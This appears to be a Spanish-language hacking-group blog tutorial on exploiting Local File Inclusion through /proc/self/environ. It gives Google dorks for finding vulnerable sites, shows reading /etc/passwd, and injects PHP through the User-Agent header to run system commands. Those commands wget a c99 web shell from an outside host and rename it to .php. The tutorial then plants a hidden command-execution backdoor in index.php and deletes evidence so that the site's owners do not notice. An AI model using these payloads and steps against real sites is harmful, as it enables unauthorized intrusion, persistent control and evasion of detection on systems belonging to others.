Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdorizar

(Local File Inclusion)

Hola hermanos Hondureños hoy les dejare este pequeño tutorial hacerca del METODO (LFI) para poder vulnerar una pagina web esta es una de las tecnicas mas viejas pero igual sigue funcionando ya que hay miles de paginas con este ERROR grave que aprenderemos a explotar.! mediante este metodo, primeramente un poco de teoria.!

¿Que es el (LFI).?

(Local File Inclusion,) o traducido al castellano inclusion local de archivos, se trata de la inclusion de ficheros locales, es decir, ficheros que se encuentran en el mismo servidor de la web con este tipo de fallo, a diferencia de Remote File Inclusion que incluye ficheros alojados en otros servidores.
Es consecuencia de un fallo en la programacion de la página, mal filtrado de los que se incluye al usar funciones en PHP para incluir archivos.



¿Que es una Web-Shell.?
Yo por mi parte definiría a una WebShell como un script en PHP, PERL, ASP, etc. que permite a un usuario malintencionado ejecutar comandos y funciones dentro de un servidor. En nuestro caso vamos a ver cómo crear una en PHP.

El código más simple puede ser ejecutar un único comando dentro del servidor. Para ello nos valemos de la función "System". Así podemos hacer por ejemplo:


<?php
system("dir"); ?>
Así que en la esencia más pura de la palabra, una WebShell es un código malicioso que permite ejecutar comandos en la Shell del servidor, pero hoy en día las webshells son scripts mucho más complejos que permiten desde listar el contenido de un directorio hasta modificar los archivos que contiene, uploadear exploits, dumpear DB's etc... Es imprescindible llegados a este punto el conocer al dedillo las vulnerabilidades  de Local y Remote File Inclusion, así que buscar en el foro e informaros bien sobre éstas, porque gracias a las webshells vamos a poder explotarlas.
 
 ¿Que es una Dork?

Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Bueno hasta creo que queda bien claro las definiciones de lo que es (LFI ,WEB-SHELL y DORK)
ahora nos vamos a la practica.!

*Primero Buscamos en GOOGLE con una dork alguna web Vulnerable a LFI  

Dork:
inurl:*.php?page=* site:hn.com o puede ser cualquier otro dominio.!


aqui os dejo mas:
inurl:section=
inurl:showfile=
inurl:side=
inurl:site_id=
inurl:skin=
inurl:static=
inurl:str=
inurl:strona=
inurl:sub=
inurl:tresc=
inurl:url=
inurl:user=
inurl:ajax.php?page=
Vamos probando hasta encontrar una q al incluir /etc/passwd nos muestra su contenido
En este caso seria algo asi:

http://sitiovulnerable/index.php?page=/etc/passwd



Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado
http://sitiovulnerable/index.php?page=/proc/self/environ


 

Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data: (que es un complemento del explorador  Mozilla FIRE FOX que lo puedes descargar desde AQUI.!)

Damos clik en Start Tamper y volvemos a realizar la Peticion al sitio web
Atrapa el Primer "paquete" y nos sale el siguiente cartel


Damos Click en OK y vemos q el codigo php se ejecuta correctamente y lista 
los archivos y directorios de la web Vulnerable:
  
 
 Ahora Sabemos que se puede ejecutar Codigo Shell atraves de php con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

Subiremos Nuestra Shell, de la siguiente forma.

Abriremos Tamper Data y comensaremos a Capturar.
Repetiremos la Peticion al host:
http://sitiovulnerable/index.php?page=/proc/self/environ

Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php

<? system('wget http://SitioDeLaShell/shell.txt'); ?>


Repetimos la Operacion Con Tamper Data y Comprobamos q nuestra shell se subio correctamente pasando como parametro en User-Agent

<? system('ls'); ?>

Vemos que dentro de la lista de archivos del host aparece nuestra shell


Convertiremos Nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como Parametro de User-Agent

<? system('mv c99.txt s.php'); ?>

Una ves Hecho Esto repetimos el procedimiento con tamper data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:

<? system('ls'); ?>


Como vemos el archivo fue Renombrado Correctamente, solo nos queda vistar nuestro archivo por medio de la URL

http://sitiovulerable/s.php


 Como vemos la ejecucion de la shell.php, se ejecuto Correctamente. Como es un Sitio Importante y no queremos q nos detecten, introduciremos un Backdoor dentro del codigo de algun archivo, yo elegi index.php

Les Dejo el code del backdoor q arme:

<?php
if($_GET['active']=='si'){
system( $_GET['c']);
}
?>


Lo Introduciremos dentro de index.php y al llamarlo desde

http://SutioVulnerable/index.php?c=ls&active=si

nos mostrara el resultado de la ejecucion del parametro q pasemos.


 Solo nos queda Eliminar s.php con el comando rm s.php por medio de nuestro backdoor

http://SutioVulnerable/index.php?c=rm s.php&active=si

Listamos el Contenido del Host

http://SutioVulnerable/index.php?c=ls&active=si

y vemos q s.php ha desaparecido

Espero que este tutorial les halla servido,
Renuncia: No me hago Responsable del Uso que le den a este tutorial, su contenido es puramente educativo

Creditos:HD_Breaker

1 comentario:

Buscanos en Facebook

Entradas populares

Videos Rcientes

Followers

Visitas

============================================================
contador de visitas
Visitas hasta el dia de Hoy

..::Usuarios Online::..

 

BlackOpHn-T3AM | Blog Oficial |©Copyright 2013-2014 | Powered by Blogger